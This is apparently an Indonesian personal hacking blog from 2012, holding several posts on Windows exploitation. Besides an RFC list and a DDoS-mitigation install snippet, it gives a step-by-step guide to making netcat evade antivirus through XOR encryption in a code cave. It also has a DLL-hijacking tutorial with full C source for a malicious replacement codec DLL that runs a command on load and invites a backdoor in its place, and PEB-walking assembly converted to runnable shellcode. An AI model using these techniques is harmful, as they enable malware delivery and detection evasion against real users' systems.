RFC 1939 Post Office Protocol versi 3 (POP3)
RFC 2001 Perpanjangan performa TCP
RFC 2026 Proses Standar Internet
RFC 2045 MIME
RFC 2046
RFC 2047
RFC 2048
RFC 2049
RFC 2060 Internet Message Access Protocol versi 4 (IMAP4), digantikan RFC 3501
RFC 2131 DHCP
RFC 2223 Petunjuk bagi author RFC
RFC 2231 Set aksara
RFC 2328 OSPF
RFC 2401 Arsitektur Keamanan
RFC 2453 Routing Information Protocol
RFC 2525 Masalah-masalah TCP
RFC 2535 Keamanan DNS
RFC 2581 Kontrol kemacetan TCP
RFC 2616 HTTP
RFC 2663 Network address translation
RFC 2766 NAT-PT
RFC 2821 Simple Mail Transfer Protocol
RFC 2822 Format e-mail
RFC 2960 SCTP
RFC 3010 Network File System
RFC 3031 Arsitektur MPLS
RFC 3066 Tag bahasa
RFC 3092 Etimologi “Foo”
RFC 3098 Beriklan dengan bertanggung jawab menggunakan E-mail
RFC 3160 Tao IETF
RFC 3168 ECN
RFC 3501 IMAP4rev1

untuk melihat rfc anda bisa mengunjungi situs IETF ataupun IRTF
IETF : http://tools.ietf.org/html/rfc[Nomor RFC]
IRTF : http://www.ietf.org/rfc/rfc[Nomor RFC].txt

misalnya jika anda ingin mengetahui tentang HTTP
http://tools.ietf.org/html/rfc2616 atau http://www.ietf.org/rfc/rfc2616.txt

Return To NoASLR Module

2012-08-20T14:57:00.001-07:00

dalam kenyataannya tidak semua module terproteksi oleh ASLR... module2 seperti inilah yang bisa kita gunakan sebagai batu loncatan untuk menjalankan suatu playlod... untuk menemukan modul2 seperti ini kita juga tidak perlu untuk mengecek semua modul satu persatu... sudah banyak software2 yang bisa kita manfaatkan untuk mengetahui suatu module terproteksi aslr atau tidak... salah satunya yaitu menggunakan mona.py... kita cukup mengetik "!mona noaslr" dan tara... tanpa perlu susah2 si mona sudah menemukannya.... ^_^

sekarang tinggal cari deh alamat return dari si noaslr module tersebut...
untuk lebih jelasnya mengenai mona.py silahkan kunjungi situsnya https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/

Find Base Address Module

2012-08-19T17:17:00.002-07:00

untuk suatu alasan tertentu seperti bypass DEP misalnya anda harus mengerti dulu letak baseaddress kernel32 dan juga alamat fungsi2 yang akan digunakan di modul itu, lalu bagaimana kalau system yang kita gunakan di proteksi ama ASLR...? bukannya letak base address juga akan berubah2...? anda tidak perlu cemas... berikut ini cara untuk menemukan base address suatu module berdasarkan urutannya...

include \masm32\include\masm32rt.inc
.data
.code
start:
ASSUME FS:NOTHING
XOR ESI,ESI
XOR ECX,ECX            ; ECX = 0
MOV ESI,FS:[ECX + 30h] ; ESI = &(PEB) ([FS:0x30])
MOV ESI,[ESI + 0Ch]    ; ESI = PEB->Ldr
MOV ESI,[ESI + 1Ch]    ; ESI = PEB->Ldr.InInitOrder
xor ebx,ebx
next_module1:
inc ebx
MOV EBP,[ESI + 08h]    ; EBP = InInitOrder[X].base_address
MOV EDI,[ESI + 20h]    ; EBP = InInitOrder[X].module_name (unicode)
MOV ESI,[ESI]          ; ESI = InInitOrder[X].flink (next module)
mov ecx,3h
mov edx,ecx            ; ecx = 3 kernel32 berada di urutan ke 3
CMP ebx,edx
JNE next_module1       ; No: mencoba module berikutnya.
                       ; EBP berisi base address kernel32

call ExitProcess
end start

kita cukup mengganti ecx sesuai dengan urutan module yang akan kita gunakan... di atas saya isi ecx dengan 3 yaitu urutan dari module kernel32 kemudian base address dari kernel32 tersebut di simpan di register EBP..

Berikut beberapa urutan module di os yang saya gunakan (Windows 7)

1. ntdll.dll
2. KERNELBASE.dll
3. kernel32.dll
4. msvcrt.dll
5. USP10.dll
6. LPK.dll
7. GDI32.dll
8. user32.dll

Downfalls Antivirus Pakek Xor Encryption

2012-08-19T02:05:00.001-07:00

Kali ini kita coba mengakali antivirus biar ngak ndetect lagi sama tool2 hacking kita… tool buat percobaanya saya pakek nc.exe (netcut versi console)… sebelumnya saya upload dulu nc.exe nya ke virustotal.com buat liat seberapa banyak antivirus yang mblokir tool ini… berikut hasilnya…

https://www.virustotal.com/file/e49886498f746ecc0e83bfc9fe7daf9b7300f589dd9866be67cf8a1531995cc1/analysis/1345249647/

Ternyata dari 38 antivirus internasional 25 di antaranya atau sekitar 65.78% ternyata menganggap tool ini sebagai virus… ok langsung kita mulai saja untuk memperkecil angka ini…

tool yang dibutuhkan…

1. target nc.exe
2. immunity debugger
3. LordPE (PE Editor… Download Di Sini http://www.woodmann.net/collaborative/tools/images/Bin_LordPE_2007-10-21_1.48_LordPE_1.41_Deluxe_b.zip)
4. Sebuah otak Plus kopi susu hangat… ^_^

Pertama2 kita edit dulu pe nya biar writable… buka LordPEàklik PE Editoràbrowse nc.exeàklik Sectionàklik kanan “.text”àedit section headeràganti flags dengan “E0000020” agar menjadi read write and excutable… lakukan hal yang sama untuk mengganti “.rdata” dan “data” setelah selesi klik save lalu ok

Persiapan sudah selesai… langsung cekidot…

Attach nc.exe di immunity debugger… buka notepad lalu copy 3 baris intruksi awal program di notepad…

00404AC3 > 6A 18 PUSH 18

00404AC5 68 98C04000 PUSH nc.0040C098

00404ACA . E8 69030000 CALL nc.00404E38

Alamat yang ada tanda > berarti awal intruksi akan di jalanan… yaitu “00404AC3 >” selanjutnya cari alamat yang kosong alias codecave biasanya ada di paling bawah code program…

Ayrbyte Xor Encryption

Mov ecx,[awal enkripsi]

Xor dword ptr ds:[ecx],13

Inc ecx

Cmp ecx,[akhir enkripsi]

Jnz [alamat intruksi xor]

[dua intruksi awal program]

Jmp [alamat ketiga intruksi program]

Hasilnya seperti berikut…

Lalu kembali ke awal program klik kananàGo ToàOrigin *

ganti awal program agar mengarah ke enkripsi… menggunakan perintah jmp

Taruh break point di enkripsi kita di alamat
0040A981 6A 18 PUSH 18

Setalah itu run… kini mulai dari alamat 00404aca sampai 0040A96C telah ter enkripsi… untuk melihatnya klik kanan alamat ecx kemudian follow in dump

Kemudian klik kananàcopy to excutableàall modificationàklik kanan-àcopy-àselect allàklik kananàsave fileàkemudian save dengan nama nc1.exe

File nc1.exe yang telah di enkripsi tadi masih bias berjalan normal… sekarang upload kembali di virus total…
berikut ini hasilnya…

https://www.virustotal.com/file/2a6485d317e3435b81b7743fc9e9ba4fa0a7333a4f72578fa9460f666b8b57e1/analysis/1345250636/

Tara… sekarang sudah jauh berkurang bukan… dari 41 antivirus sekarang Cuma 16 atau sekitar 39.02% saja yang masih mendeteksinya sabagai virus… tentusaja ini masih jauh lebih baik dari yang sebelum di enkripsi tadi… ^_^

About Me...

2012-08-19T01:44:00.005-07:00

Nick : Ayrbyte

.. Orang Ganteng Sedunia… :P ::..

Contact :

Blog :blog.ayrbyte-13.com

Fb :fb.me/Ayrbyte

Mail :ayr1j95011z@yahoo.com
Portal :ayrbyte-13.com

Dll Hijacking

2012-08-19T01:42:00.001-07:00

Secara sederhana Dll Hijacking adalah proses pengeksekusian perintah2 jahat ataupun code2 virus yang dilakukan dengan cara memasukkan code tersebut ke dalam file dll yang diload oleh suatu aplikasi / software, dengan kata lain ketika seseorang membuka suatu software yang didalam file librarynya telah di tanam suatu kode jahat, tanpa di sadari seorang tersebut telah ikut mengeksekusi kode jahat yang telah di tanan.
ok karna saya bukan seorang yang paham masalah-masalah teori jadi langsung prakteknya saja ya… hehehe… (maklum lom pernah duduk di bangku kuliahan ^_^)

kali ini kita akan mencoba ngganti dll nya Media Player Clasic ok…

Sofware2 yang harus di siapkan…
                1. Media Player Clasic (yang saya gunakan build number 1.5.0.2827)
                2. Immunity Debugger (pakek oly juga gak papa…!)
                3. C/C++ Compiler (Disini saya pakek wxdefc++) os nya saya pakek Windows 7
                4. Dll Export Viewer http://www.nirsoft.net/utils/dllexp-x64.zip
                5. Segelas susu hangat… plus camilan biar gak ngantuk….

pertama2 kit harus tau module apa saja yang di load oleh MPC ketika pertama kali di jalankan… dengan cara attach dan run mpc-hc.exe di Immunity Debugger… apabila ada exception tekan Shift+f9 terus sampai program terload secara sempurna… kemudian coba jalankan file video ataupun mp3… setelah itu tekan alt+E untuk melihat module yang terload…

Di atas file ff_libmad.dll terload saat file mp3 di putar… kita bisa menyimpan code jahat kita di file itu ^_^… setelah menentukan module yang akan digunakan kita harus mencari dahulu fungsi2 yang ada dalam modul tersebut agar module yang kita akan buat nanti dapat di tetap di load oleh mpc… untuk mengetahui fungsi apa saja yang ada di dalamnya kita dapat menggunakan tool Dll Export Viewer…

buka Dll Export Vieweràload function from the following DLL Fileàbrowse (C:\Program Files\K-Lite Codec Pack\ffdshow\ff_libmad.dll)àok

kemudian akan muncul nama2 fungsi yang ada di dalamnya…

Ok berdasarkan informasi itu langsung saja kita buat file dll palsu nya ^_^…

buka wxdevc++, kemudian klik file->new->project->dll dan beri nama projectnya “ff_libmad” lalu pilih c project dan tekan ok kemudian otomatis compiler akan mebuat dua file yaitu dllmain.c dan dll.h

ubah dllmain.c menjadi seperti ini…

/////////////////////////////////////////////////////////////////////////////////////////
/* Replace "dll.h" with the name of your header */
#include "dll.h"
#include 
#include 
#include 

void CodeJahat()
{
    char killexplorer[] = "taskkill /im explorer.exe /f";
    WinExec(killexplorer, 0);
}


//Buat Fungsi2 yang sama dengan dll aslinya…
DLLIMPORT void getVersion(){}
DLLIMPORT void mad_frame_decode(){}
DLLIMPORT void mad_frame_finish(){}
DLLIMPORT void mad_frame_init(){}
DLLIMPORT void mad_stream_buffer(){}
DLLIMPORT void mad_stream_finish(){}
DLLIMPORT void mad_stream_init(){}
DLLIMPORT void mad_synth_frame(){}
DLLIMPORT void mad_synth_init(){}


BOOL APIENTRY DllMain (HINSTANCE hInst     /* Library instance handle. */ ,
                       DWORD reason        /* Reason this function is being called. */ ,
                       LPVOID reserved     /* Not used. */ )
{
    switch (reason)
    {
      case DLL_PROCESS_ATTACH:
//CodeJahat Dieksekusi ^_^
            CodeJahat();
        break;
      case DLL_PROCESS_DETACH:
        break;
 case DLL_THREAD_ATTACH:
        break;
      case DLL_THREAD_DETACH:
        break;
    }
    /* Returns TRUE on success, FALSE on failure */
    return TRUE;
}
/////////////////////////////////////////////////////////////////////////////////////////

Fungsi CodeJahat() di atas saya buat untuk mengkill explorer.exe anda bisa ganti CodeJahatnya sesuai keinginan masing-masing ^_^

sekarang proses penentuan apakah berhasil atau tidak… compile ff_libmad kemudian taruh ff_libmad.dll buatan kita di folder C:\Program Files\K-Lite Codec Pack\ffdshow\ sebelumnya anda rename dahulu ff_libmad.dll yang asli jadi ff_libmad(backup).dll buat cadangan yang asli ^_^

setalah itu silahkan coba buka mp3 pakek Media Player Clasic… sebelum itu q saranin mbuka command prompt dulu buat ngembaliin explorer yang di kill paksa… setelah mp3 terbuka walla… explorer pun di tutup paksa… itu tandanya kita berhasil ^_^… Untuk mengembalikan explorer cukup ketik explorer pada command prompt

Bayangkan kalau kode yang kita sisipkan adalah kode virus atau backdoor buat system korban…? Tentunya akan sangat berbahaya bukan…? Anda bisa download file dll beserta source nya yang kita buat tadi di sini http://w1ng13cr3w.webuda.com/download/dll.rar

how to avoid Denial of Service attacks

2012-08-11T00:36:00.002-07:00

(D)DoS Deflate is a lightweight bash shell script designed to assist in the process of blocking a denial of service attack. It utilizes the command below to create a list of IP addresses connected to the server, along with their total number of connections. It is one of the simplest and easiest to install solutions at the software level.

netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n

IP addresses with over a pre-configured number of connections are automatically blocked in the server's firewall, which can be direct iptables or Advanced Policy Firewall (APF). (We highly recommend that you use APF on your server in general, but deflate will work without it.)
Notable Features

It is possible to whitelist IP addresses, via /usr/local/ddos/ignore.ip.list.
Simple configuration file: /usr/local/ddos/ddos.conf
IP addresses are automatically unblocked after a preconfigured time limit (default: 600 seconds)
The script can run at a chosen frequency via the configuration file (default: 1 minute)
You can receive email alerts when IP addresses are blocked.

Installation

wget http://www.inetbase.com/scripts/ddos/install.sh
chmod 0700 install.sh
./install.sh

Uninstallation

wget http://www.inetbase.com/scripts/ddos/uninstall.ddos
chmod 0700 uninstall.ddos
./uninstall.ddos

MessageBox The Hard Way By Ayrbyte

2012-07-01T23:37:00.000-07:00

Sedikit Meneruskan tulisan kemarin... ^_^

/*##################################################
------------------------------------------------
    Calling MessageBoxA The Hard Way by Ayrbyte
------------------------------------------------    
    ??  %%  %% $$$$$        >>  > ::    ;;;;;;;;
   ?? ?  %% %% $$ $$ ||      >> > ::    ;;    ;;
  ?????   %%%% $$$$$ ||___    >>> ::::: ;;;;;;;
 ??   ??    %% $$$$  ||  ||     > ::    ;;
      %%%%%%%% $$ $$ ||__|| >>>>> ::::: ;;;;;;;;
    ______________>>Ayrbyte<<_______________
    Gamerz From b-compi | Pasukan Berkompi
    
    compiler    : WxDevc++
    tested on   : Windows 7 Ultimate
##################################################*/
using namespace std;
int main(){
// Menggunakan intel style assembly syntax
    __asm__(".intel_syntax noprefix\n");
    __asm__(
//;--->Menemukan Address LoadLibraryA<---
"XOR ESI,ESI\n"
"XOR ECX,ECX\n"             //; ECX = 0
"MOV ESI,FS:[ECX + 0x30]\n" //; ESI = &(PEB) ([FS:0x30])
"MOV ESI,[ESI + 0x0C]\n"    //; ESI = PEB->Ldr
"MOV ESI,[ESI + 0x1C]\n"    //; ESI = PEB->Ldr.InInitOrder
"xor ebx,ebx\n"
"next_module1:\n"
"inc ebx\n"
"MOV EBP,[ESI + 0x08]\n"    //; EBP = InInitOrder[X].base_address
"MOV EDI,[ESI + 0x20]\n"    //; EBP = InInitOrder[X].module_name (unicode)
"MOV ESI,[ESI]\n"           //; ESI = InInitOrder[X].flink (next module)
"mov eax,0x11111111\n"
"mov ecx,0x11111114\n"
"sub ecx,eax\n"
"mov edx,ecx\n"             //; ecx = 3 kernel32 berada di urutan ke 3 
"CMP ebx,edx\n"
"JNE next_module1\n"        //; No: mencoba module berikutnya.
                            //; EBP berisi base address kernel32
"mov eax,0x11111111\n"
"mov ecx,0x11112111\n"
"sub ecx,eax\n"
"add ebp,ecx\n"             //; offset awal kernel32.dll
"mov eax,0x11111111\n"
"mov ecx,0x11162975\n"
"sub ecx,eax\n"
"mov eax,ecx\n"                
"add ebp,eax\n"             //; EBP ditambah 51864 agar menjadi offset LoadLibrary A
//;--->Meload user32 library<---
//;memasukkan 'user32' string ke stack
"mov edx,esp\n"
"add edx,32\n"
"mov ecx,0x72657375\n"      //;75657375h = 'user' dalam format little endian
"mov ds:[edx],ecx\n"        //;memasukkan 'user' ke stack
"mov eax,0x11111111\n"
"mov ecx,0x11114344\n"
"sub ecx,eax\n"             //;membuat ecx terisi oleh 3233h = '32' dalam format little endian
"mov ds:[edx+4],ecx\n"      //;memasukkan '32' ke stack
                            //;sekarang edx menjadi offset string 'user32'
"push edx\n"                //;push 'user32'
"call ebp\n"                //;Calling kernel32dll.LoadLibraryA
"add esp,4\n"
//;--->Menemukan Address MessageBoxA<---
"XOR ESI,ESI\n"
"XOR ECX,ECX\n"             //; ECX = 0
"MOV ESI,FS:[ECX + 0x30]\n" //; ESI = &(PEB) ([FS:0x30])
"MOV ESI,[ESI + 0x0C]\n"    //; ESI = PEB->Ldr
"MOV ESI,[ESI + 0x1C]\n"    //; ESI = PEB->Ldr.InInitOrder
"xor ebx,ebx\n"
"next_module2:\n"
"inc ebx\n"
"MOV EBP,[ESI + 0x08]\n"    //; EBP = InInitOrder[X].base_address
"MOV EDI,[ESI + 0x20]\n"    //; EBP = InInitOrder[X].module_name (unicode)
"MOV ESI,[ESI]\n"           //; ESI = InInitOrder[X].flink (next module)
"mov eax,0x11111111\n"
"mov ecx,0x11111119\n"
"sub ecx,eax\n"
"mov edx,ecx\n"             //; ecx = 9 user32 berada di urutan ke 9 
"CMP ebx,edx\n"
"JNE next_module2\n"        //; No: mencoba module berikutnya.
                            //; EBP berisi base address user32
"mov eax,0x11111111\n"
"mov ecx,0x11112111\n"
"sub ecx,eax\n"
"add ebp,ecx\n"             //; offset awal user32.dll
"mov eax,0x11111111\n"
"mov ecx,0x1116EB82\n"
"sub ecx,eax\n"
"mov eax,ecx\n"                
"add ebp,eax\n"             //; EBP ditambah 5DA71 agar menjadi offset MessageBoxA
//;--->Mempersiapkan String Untuk Judul Dan Isi Messagebox<---
"mov eax,0x11111111\n"
"mov ecx,0x11111295\n"
"sub ecx,eax\n"
"sub esp,ecx\n"
//;offset edx judul 'MessageBoxA By Ayrbyte'
"mov edx,esp\n"
"mov ecx,0x7373654D\n"      //;'Mess'
"mov ds:[edx],ecx\n"        
"mov ecx,0x42656761\n"      //;'ageB'
"mov ds:[edx+4],ecx\n"
"mov ecx,0x2041786F\n"      //;'oxA '
"mov ds:[edx+8],ecx\n"
"mov ecx,0x41207942\n"      //;'By A'
"mov ds:[edx+12],ecx\n"
"mov ecx,0x79627279\n"      //;'yrby'
"mov ds:[edx+16],ecx\n"
"mov eax,0x11111111\n"
"mov ecx,0x11117685\n"      
"sub ecx,eax\n"             //;'te'
"mov ds:[edx+20],ecx\n"
//;offset ebx+23 isi 'MessageBoxA 'the hard way' By Ayrbyte'
"mov ebx,edx\n"
"add ebx,20\n"
"mov ecx,0x7373654d\n"      //;'Mess'
"mov ds:[ebx+4],ecx\n"
"mov ecx,0x42656761\n"      //;'ageB'
"mov ds:[ebx+8],ecx\n"
"mov ecx,0x2041786F\n"      //;'oxA '
"mov ds:[ebx+12],ecx\n"
"mov ecx,0x65687427\n"      //;''the'
"mov ds:[ebx+16],ecx\n"
"mov ecx,0x72616820\n"      //;' har'
"mov ds:[ebx+20],ecx\n"
"mov ecx,0x61772064\n"      //;'d wa'
"mov ds:[ebx+24],ecx\n"
"mov ecx,0x42202779\n"      //;'y' B'
"mov ds:[ebx+28],ecx\n"
"mov ecx,0x79412079\n"      //;'y Ay'
"mov ds:[ebx+32],ecx\n"
"mov ecx,0x74796272\n"      //;'rbyt'
"mov ds:[ebx+36],ecx\n"
"mov eax,0x11111111\n"
"mov ecx,0x11111176\n"   
"sub ecx,eax\n"             //;'e'
"mov ds:[ebx+40],ecx\n"
"add ebx,4\n"
//;--->Calling MessageBoxA<---
"xor eax,eax\n"            //; eax = NULL / 0
"push eax\n"
"push edx\n"
"push ebx\n"
"push eax\n"
"call ebp\n"               //;calling user32.MessageBoxA
//;--->Calling ExitProcess<---
"XOR ESI,ESI\n"
"XOR ECX,ECX\n"             //; ECX = 0
"MOV ESI,FS:[ECX + 0x30]\n" //; ESI = &(PEB) ([FS:0x30])
"MOV ESI,[ESI + 0x0C]\n"    //; ESI = PEB->Ldr
"MOV ESI,[ESI + 0x1C]\n"    //; ESI = PEB->Ldr.InInitOrder
"xor ebx,ebx\n"
"next_module3:\n"
"inc ebx\n"
"MOV EBP,[ESI + 0x08]\n"    //; EBP = InInitOrder[X].base_address
"MOV EDI,[ESI + 0x20]\n"    //; EBP = InInitOrder[X].module_name (unicode)
"MOV ESI,[ESI]\n"           //; ESI = InInitOrder[X].flink (next module)
"mov eax,0x11111111\n"
"mov ecx,0x11111113\n"
"sub ecx,eax\n"
"mov edx,ecx\n"             //; ecx = 3 KERNELBASEDLL berada di urutan ke 3 
"CMP ebx,edx\n"
"JNE next_module3\n"        //; No: mencoba module berikutnya.
                            //; EBP berisi base address user32
"mov eax,0x11111111\n"
"mov ecx,0x11142637\n"
"sub ecx,eax\n"
"add ebp,ecx\n"
"call ebp\n"                //; Calling KERNELBASEDLL.ExitProcess
//Kembali Menggunakan AT&T/UNIX assembly syntax
".att_syntax noprefix\n"
"ret\n"
);}

Code di atas tidak menggunakan string 0x00 karna itu bisa dubuat dalam bentuk shellcode juga ^_^
berikut bentuk Shellcodenya :


#include <iostream>
using namespace std;

char code[] =  
"\x33\xF6\x33\xC9\x64\x8B\x71\x30\x8B\x76\x0C\x8B\x76\x1C\x33\xDB\x43\x8B\x6E"
"\x08\x8B\x7E\x20\x8B\x36\xB8\x11\x11\x11\x11\xB9\x14\x11\x11\x11\x2B\xC8\x8B"
"\xD1\x3B\xDA\x75\xE5\xB8\x11\x11\x11\x11\xB9\x11\x21\x11\x11\x2B\xC8\x03\xE9"
"\xB8\x11\x11\x11\x11\xB9\x75\x29\x16\x11\x2B\xC8\x8B\xC1\x03\xE8\x8B\xD4\x83"
"\xC2\x20\xB9\x75\x73\x65\x72\x89\x0A\xB8\x11\x11\x11\x11\xB9\x44\x43\x11\x11"
"\x2B\xC8\x89\x4A\x04\x52\xFF\xD5\x83\xC4\x04\x33\xF6\x33\xC9\x64\x8B\x71\x30"
"\x8B\x76\x0C\x8B\x76\x1C\x33\xDB\x43\x8B\x6E\x08\x8B\x7E\x20\x8B\x36\xB8\x11"
"\x11\x11\x11\xB9\x19\x11\x11\x11\x2B\xC8\x8B\xD1\x3B\xDA\x75\xE5\xB8\x11\x11"
"\x11\x11\xB9\x11\x21\x11\x11\x2B\xC8\x03\xE9\xB8\x11\x11\x11\x11\xB9\x82\xEB"
"\x16\x11\x2B\xC8\x8B\xC1\x03\xE8\xB8\x11\x11\x11\x11\xB9\x95\x12\x11\x11\x2B"
"\xC8\x2B\xE1\x8B\xD4\xB9\x4D\x65\x73\x73\x89\x0A\xB9\x61\x67\x65\x42\x89\x4A"
"\x04\xB9\x6F\x78\x41\x20\x89\x4A\x08\xB9\x42\x79\x20\x41\x89\x4A\x0C\xB9\x79"
"\x72\x62\x79\x89\x4A\x10\xB8\x11\x11\x11\x11\xB9\x85\x76\x11\x11\x2B\xC8\x89"
"\x4A\x14\x8B\xDA\x83\xC3\x14\xB9\x4D\x65\x73\x73\x89\x4B\x04\xB9\x61\x67\x65"
"\x42\x89\x4B\x08\xB9\x6F\x78\x41\x20\x89\x4B\x0C\xB9\x27\x74\x68\x65\x89\x4B"
"\x10\xB9\x20\x68\x61\x72\x89\x4B\x14\xB9\x64\x20\x77\x61\x89\x4B\x18\xB9\x79"
"\x27\x20\x42\x89\x4B\x1C\xB9\x79\x20\x41\x79\x89\x4B\x20\xB9\x72\x62\x79\x74"
"\x89\x4B\x24\xB8\x11\x11\x11\x11\xB9\x76\x11\x11\x11\x2B\xC8\x89\x4B\x28\x83"
"\xC3\x04\x33\xC0\x50\x52\x53\x50\xFF\xD5\x33\xF6\x33\xC9\x64\x8B\x71\x30\x8B"
"\x76\x0C\x8B\x76\x1C\x33\xDB\x43\x8B\x6E\x08\x8B\x7E\x20\x8B\x36\xB8\x11\x11"
"\x11\x11\xB9\x13\x11\x11\x11\x2B\xC8\x8B\xD1\x3B\xDA\x75\xE5\xB8\x11\x11\x11"
"\x11\xB9\x37\x26\x14\x11\x2B\xC8\x03\xE9\xFF\xD5";

int main(){((void (*)(void))code)();}

Membuat MessageBox tanpa macro 'the hard way' Part 2

2012-06-29T02:55:00.002-07:00

Meneruskan tulisan yang kemarin... bagi yang belum lihat ini linknya...
Membuat MessageBox tanpa macro 'the hard way'

Ternyata user32.dll berada pada urutan ke 8... di bawah modul2 berikut...

ntdll.dll
KERNELBASE.dll
kernel32.dll
msvcrt.dll
USP10.dll
LPK.dll
GDI32.dll
user32.dll

denga itu kita hanya perlu melakukan perulangan sebanyak 8x agar menemukan module user32.dll..., kemudian langkah selanjutnya masih sama seperti kemarin... ^_^

finallly code... :

;Calling MessageBoxA tanpa macro "the hard way"
;by Ayrbyte
;using masm32 Compiler
include \masm32\include\masm32rt.inc

.data
MyTitle db "Testing MessageBoxA by Ayrbyte",0
MyText1 db "Test Messagebox Dengan Macro by Ayrbyte",0
MyText2 db "Test Calling MessageboxA Tanpa Macro by Ayrbyte",0
.code
start:

;--->MessageBox Menggunakan Macro<---

invoke MessageBox, NULL, addr MyText1, addr MyTitle, MB_OK
jmp tanpa_macro

;--->MessageBox Tanpa Macro<---

tanpa_macro:
ASSUME FS:NOTHING
XOR ESI,ESI
XOR ECX,ECX            ; ECX = 0
MOV ESI,FS:[ECX + 30h] ; ESI = &(PEB) ([FS:0x30])
MOV ESI,[ESI + 0Ch]    ; ESI = PEB->Ldr
MOV ESI,[ESI + 1Ch]    ; ESI = PEB->Ldr.InInitOrder
xor ebx,ebx
next_module:
inc ebx
MOV EBP,[ESI + 08h]    ; EBP = InInitOrder[X].base_address
MOV EDI,[ESI + 20h]    ; EBP = InInitOrder[X].module_name (unicode)
MOV ESI,[ESI]          ; ESI = InInitOrder[X].flink (next module)
mov edx,8              ; user32.dll berada di urutan ke 8
CMP ebx,edx;
JNE next_module        ; No: mencoba module berikutnya.
                       ; EBP berisi base address user32
add ebp,1000h          ; offset awal user32.dll
mov eax,5DA71h
add ebp,eax            ; EBP ditambah 5DA71 agar menjadi offset MessageBoxA
xor edx,edx            ; EDX = NULL / 0
push EDX
push offset MyTitle
push offset MyText2
push EDX
call ebp               ;calling MessageBoxA
ret 0
end start

progam di atas sudah saya test di windows 7 saya..., dan bisa di jalankan meskipun telah di restart berulang kali... ^_^ See You...